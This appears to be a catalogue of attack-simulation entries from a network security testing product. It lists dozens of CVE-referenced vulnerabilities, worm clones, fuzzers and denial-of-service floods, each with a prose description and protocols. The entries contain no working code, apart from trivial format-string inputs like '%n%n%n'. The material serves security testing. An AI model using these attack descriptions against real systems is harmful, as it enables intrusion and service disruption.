Threat File Name:	TSL20140311-16_Microsoft_Internet_Explorer_CVE-2014-0305_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0305 Use After Free(IPV6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0305
OSVDB:	104302

Threat File Name:	FSC20100716-04_Ipswitch_IMail_Server_Mailing_List_Message_Subject_Buffer_Overflow_IPv6.xml
Executive Description:	Ipswitch IMail Server Mailing List Message Subject Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Ipswitch IMail Server. The vulnerability is due a boundary error in the imailsrv.exe which handles messages sent to the imailsrv. The vulnerable code does not properly handle messages that are sent to certain mailing lists and have crafted "Subject" header. A remote attacker can exploit this vulnerability by sending a crafted message to the affected service. Authentication is not needed if the mailing list has been previously password protected. Authentication is needed if the mailing list is currently password protected. Successful exploitation of this vulnerability can lead to arbitrary code execution under the context of the System user.
Protocol Type:	IPv6,SMTP
Threat File Name:	TSL20120323-03_Cisco_Linksys_PlayerPT_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Cisco Linksys PlayerPT ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in the Cisco Linksys PlayerPT ActiveX control. The vulnerability is due to insufficient boundary checks when handling parameters passed to the SetSource() function. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to access a malicious website. This can lead to code execution in the context of the target user. If code execution is unsuccessful, the application may terminate unexpectedly.
Protocol Type:	HTTP,HTTPS
OSVDB:	80297
Threat File Name:	wbblog_sql_IPv6.xml
Executive Description:	WBBlog Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. WBBlog is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1481
Threat Package:	Standard
Threat File Name:	FSC20080212-12_Microsoft_Windows_OLE_Automation_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows OLE Automation Remote Code Execution
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Object Linking and Embedding (OLE) Automation component. The flaw is due to a integer overflow when handling crafted OLE steam data. Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the vulnerable system with privileges of the currently logged in users.
Protocol Type:	HTTP
CVEID:	CVE-2007-0065
Threat Package:	Standard
Threat File Name:	TSL20130611-11_Microsoft_Internet_Explorer_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Use After Free [IPv6, Version]
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3118
OSVDB:	94112
Threat File Name:	FSC20071115-05_Samba_WINS_Server_Name_Registration_Handling_Stack_Buffer_Overflow.xml
Executive Description:	Samba WINS Server Name Registration Handling Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in the way Samba handles WINS messages. The vulnerability is due to a boundary error while sending NetBIOS replies. Remote attackers can exploit this vulnerability by sending a specially crafted WINS messages to the Samba WINS interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process.
Protocol Type:	NBNS
CVEID:	CVE-2007-5398
Threat Package:	Standard
Threat File Name:	realSWF.xml
Executive Description:	RealPlayer SWF Parsing Heap Overflow
Detailed Description:	This threat sends a malicious SWF file with a length specified of 0 bytes. This leads to memory corruption, and potentially code execution. This threat comes as a file download from a malicious HTTP server from the virtual server. Web Servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0323
OSVDB:	24061
Threat Package:	Standard
Threat File Name:	TSL20160128-05_Oracle_Application_Testing_Suite_UploadServlet_filename_Directory_Traversal.xml
Executive Description:	Oracle Application Testing Suite UploadServlet filename Directory Traversal
Detailed Description:	A directory path traversal vulnerability exists in the in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP request header, filename.A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation would lead to arbitrary code execution under the security context of System.
Protocol Type:	HTTP
CVEID:	CVE-2016-0490

Threat File Name:	TSL20131126-01_ManageEngine_DesktopCentral_AgentLogUpload_Arbitrary_File_Upload_IPv6.xml
Executive Description:	ManageEngine DesktopCentral AgentLogUpload Arbitrary File Upload(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in ManageEngine DesktopCentral. The vulnerability is due to lack of authentication and insufficient input validation in the <i>AgentLogUploadServlet.class</i> when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPv6
OSVDB:	100008
Threat File Name:	slammer.xml
Executive Description:	SQL Slammer
Detailed Description:	This threat is a clone of the SQL Slammer worm. Slammer uses the vulnerability described in MS02-039 to infect hosts. This threat will infect a vulnerable host with the SQL Slammer worm and propagate.
Protocol Type:	MSSQL
CVEID:	CVE-2002-0649
OSVDB:	4578
Threat Package:	Standard
Threat File Name:	FSC20071026-07_RealNetworks_RealPlayer_Multiple_Products_RA_File_Processing_Heap_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer Multiple Products RA File Processing Heap Overflow (IPv6 Version)
Detailed Description:	A heap overflow vulnerability exists in RealNetworks multiple products. The vulnerability is due to boundary errors when processing RealAudio (RA) files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RA file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2264
Threat Package:	Standard
Threat File Name:	FSC20071105-18_Apple_QuickTime_PICT_Image_Processing_Uncompressedfile_Stack_Overflow.xml
Executive Description:	Apple QuickTime PICT Image Processing Uncompressedfile Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4672
Threat Package:	Standard
Threat File Name:	3CTftpSvc_dos.xml
Executive Description:	3CTftpSvc <= 2.0.1 (Long Transporting Mode) Buffer Overflow Vulnerability
Detailed Description:	This threat uses a large buffer sent to a vulnerable TFTP server triggering a buffer overflow or denial of service condition. 3CTftpSvc is a TFTP server that typically listens on udp port 69.
Protocol Type:	TFTP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RandstringFilename_WRQ_MAIL_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_WRQ_MAIL.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is WRQ. Mode is mail (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090429-03_Adobe_Reader_JavaScript_spell_customDictionaryOpen_Method_Memory_Corruption.xml
Executive Description:	Adobe Reader JavaScript spell.customDictionaryOpen Method Memory Corruption
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat on Linux/Unix platform. The vulnerability is due to insufficient input validation in the implementation of the customDictionaryOpen JavaScript method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2009-1493
Threat Package:	Standard
Threat File Name:	InternetExplorerHistoryXSS_IPv6.xml
Executive Description:	Internet Explorer History XSS Attack (IPv6 Version)
Detailed Description:	This threat causes a XSS event to occur in the history bar of Internet Explorer. This allows a user to inject arbitrary commands and steal sensitive user data. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2219
OSVDB:	8978
Threat Package:	Standard
Threat File Name:	transmitapp_heap_IPv6.xml
Executive Description:	Transmit.app <= 3.5.5 ftps:// URL Handler Heap Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious web server reply to leverage a flaw in Apple's Transmit.app leading to a heap-based buffer overflow condition. Transmit.app is an ftp client application that can also retrieve data from http served URIs from port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2007-0020
Threat Package:	Standard
Threat File Name:	FSC20071113-06_Microsoft_Windows_DNS_Server_Spoofing_Vulnerability.xml
Executive Description:	Microsoft Windows DNS Server Spoofing Vulnerability
Detailed Description:	There exists a DNS Cache Poisoning vulnerability in Microsoft DNS servers. The vulnerability is due to predictable transaction ID values in outgoing DNS queries. A remote attacker can exploit this vulnerability to poison the DNS cache by sending malicious responses to DNS requests, thereby redirecting Internet traffic to illegitimate sites.
Protocol Type:	DNS
CVEID:	CVE-2007-3898
Threat Package:	Standard
Threat File Name:	bisonftp_dos.xml
Executive Description:	BisonFTP Remote Denial Of Service Vulnerability
Detailed Description:	This threat exploits a flaw in BisonFTP servers by sending a large amount of data after a successful login thereby crashing the service. BisonFTP is a ftp application that typically listens on port 21
Protocol Type:	FTP
CVEID:	CVE-2005-2078
Threat Package:	Standard
Threat File Name:	FSC20080104-04_Macrovision_InstallShield_Update_Service_isusweb_dll_Remote_Buffer_Overflow_IPv6.xml
Executive Description:	Macrovision InstallShield Update Service isusweb.dll Remote Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Macrovision InstallShield Update Service ActiveX control implemented in isusweb.dll. The vulnerability is due to a boundary error while processing calls to the DownloadAndExecute method of the said ActiveX control. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be injected and executed in the security context of the currently logged in user.s (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2007-6654
Threat Package:	Standard
Threat File Name:	selectapix_sqli_IPv6.xml
Executive Description:	SelectaPix SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that contains an SQL query which is executed by the server. SelectaPix is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2912
Threat Package:	Standard
Threat File Name:	docpile_we_rfi.xml
Executive Description:	docpile:we INIT_PATH Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Docpile:We is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130527-06_Apache_Struts_URL_and_Anchor_tag_includeParams_OGNL_Command_Execution_IPv6.xml
Executive Description:	Apache Struts URL and Anchor tag includeParams OGNL Command Execution [IPv6, Version]
Detailed Description:	A command execution vulnerability exists in Apache Struts Object-Graph Navigation Language (OGNL) expressions. The vulnerability is due to the way parameters passed via Struts s:a and s:url tags to the server are evaluated by OGNL when the includeParams field is "get" or "all". The url/a tags resolve every parameter passed to them, allowing arbitrary OGNL expressions encoded into the URL to be evaluated bypassing both Struts and OGNL library protections. A remote attacker could exploit this vulnerability by sending crafted HTTP requests to a server using a vulnerable version of the software. Successful exploitation will allow an attacker to execute arbitrary commands in the context of the server.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-2115
OSVDB:	93645
Threat File Name:	FSC20101109-03_Microsoft_PowerPoint_Legacy_File_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft PowerPoint Legacy File Parsing Memory Corruption (IPv6 VERSION)
Detailed Description:	A remote code execution vulnerability exists in Microsoft PowerPoint. The flaw is due to a buffer overflow when parsing PowerPoint 95 files. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,FTP,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2572
Threat File Name:	pblang_command_IPv6.xml
Executive Description:	PBLang Remote Command Execution (IPv6 Version)
Detailed Description:	This threat sends a malformed GET request that causes the PBLang web application to issue remote commands on the target system. PBLang is a web based forum application, and would typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2893
OSVDB:	19169
Threat Package:	Standard

Threat File Name:	FSC20101103-03_Microsoft_Internet_Explorer_Invalid_Flag_Reference_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Invalid Flag Reference Memory
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an invalid flag reference within Internet Explorer. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behavior of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3962
Threat File Name:	FSC20110314-13_Adobe_Flash_Player_Memory_Corruption.xml
Executive Description:	Adobe Shockwave Player Director File FFFFFFFF88 Record Parsing Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to an integer overflow error while calculating the size value for heap memory allocation while parsing a FFFFFFFF88 record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,SMTP
CVEID:	CVE-2010-4192
Threat File Name:	udp_localhost_IPv6.xml
Executive Description:	UDP Packet From localhost (IPv6 Version)
Detailed Description:	This threat sends a packet with a payload of 23 'A's from localhost. The user can specify the source and destination ports, as well as the destination IP. This attack has caused older IP stacks to fail. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	lupper22_IPv6.xml
Executive Description:	Lupper Worm 22 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	http_lotssoheaders.xml
Executive Description:	HTTP client uses too many headers during request
Detailed Description:	This is an attack against an HTTP server by sending a large number of pointless headers. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	NOOPtcpSPARC3.xml
Executive Description:	TCP NOOP packet variant SPARC 3
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	owlintranet_include.xml
Executive Description:	Owl Intranet Engine Remote File Include Vulnerability
Detailed Description:	This threat sends an HTTP query attempting to include a PHP file from a remote location. Vulnerable versions of Owl Intranet Engine will not properly check the script input and allow a remote script to be included, executing the script at the privilege of the webserver. Owl Intranet Engine is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1149
OSVDB:	23734
Threat File Name:	TSL20060113-01_Apple_QuickTime_PictureViewer_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime PictureViewer Buffer Overflow(IPV6 Version)
Detailed Description:	There exists a stack-based buffer overflow vulnerability in Apple QuickTime PictureViewer. The vulnerability is caused due to insufficient data validating when processing JPEG image files. An attacker may exploit the vulnerability by enticing the user to open a crafted JPEG file with the affected product, resulting in execution of arbitrary code on the target host within the security context of the current user. In a simple attack case, the affected application will terminate upon opening of the malicious JPEG image file. In a more sophisticated attack scenario, where code injection and execution is attempted, the behaviour of the target is dependent on the intention of the injected code. Any executed code will be within security context of the currently logged in user.
Protocol Type:	IPV6,HTTP,FTP,IMAP,POP3,SMB/CIFS,NFS
CVEID:	CVE-2005-2340
Threat File Name:	lupper7.xml
Executive Description:	Lupper Worm 7
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard

Threat File Name:	winamp_ID3_IPv6.xml
Executive Description:	Winamp Remote Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a malformed MP3 file, which causes a buffer overflow in certain versions of Winamp. This threat mimics the download of the malicious file from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2310
OSVDB:	17897
Threat Package:	Standard
Threat File Name:	snmpTerm_IPv6.xml
Executive Description:	SNMP Terminal Escape Code Community String (IPv6 Version)
Detailed Description:	This threat sends an SNMP community string containing terminal escape codes that will change the title of certain terminal applications. Terminal escape codes can be used to fool a user into executing commands. This threat targets an SNMP daemon which typically listens on port 161. (IPv6 Version)
Protocol Type:	SNMP/IPv6
Threat Package:	Standard
Threat File Name:	ppstream_activex_bof_IPv6.xml
Executive Description:	PPStream PowerPlayer.DLL ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Yahoo! Widgets Engine ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpworm3.xml
Executive Description:	phpinclude.worm Attack 3
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100825-14_Adobe_Shockwave_Player_Director_File_FFFFFFFF88_Record_Parsing_Integer_Overflow.xml
Executive Description:	Adobe Shockwave Player Director File FFFFFFFF88 Record Parsing Integer Overflow
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to an integer overflow error while calculating the size value for heap memory allocation while parsing a FFFFFFFF88 record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2876
Threat Package:	Standard
Threat File Name:	FSC20080129-08_Oracle_Database_Server_XDB_PITRIG_TRUNCATE_Procedure_Buffer_Overflow.xml
Executive Description:	Oracle Database Server XDB PITRIG_TRUNCATE Procedure Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to procedure PITRIG_TRUNCATE in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service.
Protocol Type:	Proprietary
CVEID:	CVE-2008-0339
Threat Package:	Standard
Threat File Name:	ipv6_frag_flood.xml
Executive Description:	IPv6 Fragment Flood
Detailed Description:	This threat sends off a series of IPv6 fragments all belonging to the same fragment ID. This can cause a large amount of CPU utilization in some IPv6 stacks.
Protocol Type:	IPv6
Threat Package:	Standard
Threat File Name:	FSC20071210-10_Samba_Domain_Controller_Service_Crafted_Mailslot_Name_Buffer_Overflow.xml
Executive Description:	Samba Domain Controller Service Crafted Mailslot Name Buffer Overflow
Detailed Description:	There is a buffer overflow vulnerability exists in the NMBD service of Samba. The vulnerability is due to a boundary error while processing specially crafted SAM LOGON requests when Samba is configured as a Primary or Backup Domain Controller. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process.
Protocol Type:	NETBIOS
CVEID:	CVE-2007-6015
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-TRACE_PrepndHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP TRACE with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	fuzz-SMTP-HELO_Parameter_formats.xml
Executive Description:	Fuzz SMTP HELO verb with %s
Detailed Description:	Fuzzes the SMTP HELO Parameter with %s from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20170330-08_Trend_Micro_IWSVA_ReportHandler_DoCmd_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA ReportHandler DoCmd Command Injection (IPv6 Version)

Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to a design weakness which allows execution of a user-supplied string as a command by accessing the DoCmd method. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the iscan (non-root) user.
Protocol Type:	HTTPS,HTTP,IPv6
Threat File Name:	ultravnc_log.xml
Executive Description:	UltraVNC Server Logging Overflow
Detailed Description:	This threat causes a buffer overflow in the logging daemon of the UltraVNC daemon. This can be used to cause the UltraVNC service to crash. This threat is expressed through the exploitation of the built in webserver that typically listens on port 5800.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071107-16_oracle_bof.xml
Executive Description:	Oracle Database Server XDB PITRIG_DROPMETADATA Procedure Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to procedure PITRIG_DROPMETADATA in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service.
Protocol Type:	TCP
CVEID:	CVE-2007-4517
Threat Package:	Standard
Threat File Name:	TSL20170406-08_ManageEngine_Applications_Manager_Apache_Commons_Collections_Insecure_Deserialization_IPv6.xml
Executive Description:	ManageEngine Applications Manager Apache Commons Collections Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability exists in ManageEngine Applications Manager. This vulnerability is due to the inclusion of the vulnerable version of Apache Commons Collections library in the classpath combined with insecure deserialization. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted message to the RMI service running on port 11099/TCP. Successful exploitation can result in arbitrary code execution in the security context of the RMI service.
Protocol Type:	RMI,IPv6
CVEID:	CVE-2016-9498
Threat File Name:	FSC20090304-05_MySQL_XML_Functions_Scalar_XPath_Denial_of_Service.xml
Executive Description:	MySQL XML Functions Scalar XPath Denial of Service
Detailed Description:	A vulnerability exists in MySQL database engine. The vulnerability is due to insufficient input validation of XML functions used in SQL statements. A remote authenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would be a denial of service (DoS) condition of MySQL database services on the target host. In a successful attack case, the affected server will terminate and all established connections will also be terminated.
Protocol Type:	MySQL Query
Threat Package:	Standard
Threat File Name:	imap_format.xml
Executive Description:	IMAP Format String Attack
Detailed Description:	This generic threat sends a format string attack against an IMAP server. A format string attack attempts to crash the service by causing the service to write to out of bounds memory by sending the format string %n%n%n.
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	http_format_IPv6.xml
Executive Description:	HTTP Format String GET Request (IPv6 Version)
Detailed Description:	This threat issues a HTTP GET Request for the URL %n%n%n%n%n. This can affect web servers that do not perform sanity checks on input strings. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0690
OSVDB:	4375
Threat Package:	Standard
Threat File Name:	FSC20060711-09_Microsoft_IIS_Server_Crafted_ASP_Page_Buffer_Overflow.xml
Executive Description:	Microsoft IIS Server Crafted ASP Page Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been identified in the Microsoft Internet Information Services product. The flaw is contained in the component responsible for processing Active Server Pages (ASP) scripts. This vulnerability may be exploited by a user who has the ability to publish ASP pages on a vulnerable host. A successful exploitation may lead to execution of arbitrary code on the target host with limited privileges.
Protocol Type:	FTP
CVEID:	CVE-2006-0026
Threat Package:	Standard
Threat File Name:	limesurvey_rfi.xml
Executive Description:	LimeSurvey (PHPSurveyor) 1.49RC2 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. LimeSurvey is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3632
Threat Package:	Standard
Threat File Name:	TSL20130214-11_Adobe_Acrobat_and_Reader_XFA_oneOfChild_Remote_Code_Execution.xml
Executive Description:	Adobe Acrobat and Reader XFA oneOfChild Remote Code Execution

Detailed Description:	A remote code execution vulnerability exists in Adobe Acrobat and Reader. The vulnerability is due to an error when dealing with oneOfChild property of an XFA element enclosed in a PDF file. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary code in the security context of the target user. Note: This vulnerability is currently being exploited
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-0640
OSVDB:	90169
Threat File Name:	FSC20101214-06_Microsoft_Internet_Explorer_Select_Element_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Select Element Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error when accessing incorrectly initialized memory. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3345
Threat File Name:	ms05-026_help.xml
Executive Description:	MS05-026 HTML Help Crash
Detailed Description:	This threat causes a crash in Microsoft's Internet Explorer. This crash can be manipulated to cause remote code execution in the context of the user surfing the webpage. This threat mimics Internet Explorer requesting a malicious web page from a server and downloading the attack. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1208
OSVDB:	17305
Threat Package:	Standard
Threat File Name:	UPnP_Flood.xml
Executive Description:	Microsoft Universal Plug and Play Denial of Service
Detailed Description:	This threat sends multiple UDP packets at the Universal Plug and Play service (UPnP), which can cause the target to use up all available memory or crash. When used with special payload, it can cause a remote exploit. The threat targets the broadcast address 255.255.255.255 / FF:FF:FF:FF:FF:FF which attempts to maximize the potential damage.
Protocol Type:	UPnP
Threat Package:	Standard
Threat File Name:	IEDOS.xml
Executive Description:	Internet Explorer Denial of Service
Detailed Description:	This threat is an unknown denial of service attack on Internet Explorer. Will cause most recent versions to crash. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	mybb_search_sql_IPv6.xml
Executive Description:	MyBulletinBoard SQL Injection Attack (IPv6 Version)
Detailed Description:	This threat attempts to add an admin user to the MyBulletinBoard PHP web application via a SQL injection vulnerability in the search.php file. This web application uses a webserver, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2580
OSVDB:	17020
Threat Package:	Standard
Threat File Name:	TSL20111213-09_Microsoft_Publisher_Invalid_Pointer_Memory_Corruption.xml
Executive Description:	Microsoft Publisher Invalid Pointer Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office. The vulnerability is due to insufficient data validation while parsing specially crafted Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Publisher file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt may terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP
CVEID:	CVE-2011-3411
Threat File Name:	oracle_web_cache_dos2_IPv6.xml
Executive Description:	Oracle Web Cache Denial of Service 2 (IPv6 Version)
Detailed Description:	This threat sends a malformed HTTP chunked request that causes certain versions of the Oracle Web Cache service to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0386
OSVDB:	9464
Threat Package:	Standard
Threat File Name:	ie_null_key.xml
Executive Description:	Internet Explorer Null Pointer Crash
Detailed Description:	This threat causes internet explorer 6 to crash by sending malicious javascript that causes IE to deference a null pointer. This threat can be used to prevent a user from using their web browser by a malicious website. This threat would typically come from a server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060214-05_Microsoft_Windows_Media_Player_Plug-in_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows Media Player Plug-in Vulnerability (IPv6 Version)

Detailed Description:	There exists a buffer overflow vulnerability in the Windows Media Player Plug-in when it is used with various non-Microsoft browsers. The vulnerability exists due to a failure to check the boundaries of resource information provided to the plug-in. An attacker can exploit this vulnerability to execute arbitrary code on the target host in the context of the user running the browser. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0005
Threat Package:	Standard
Threat File Name:	phpbb_plusxl_rfi.xml
Executive Description:	PHPBB PlusXL PHPBB_Root_Path Parameter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PhpBB plusXL is a web application that typically listens on port 80.
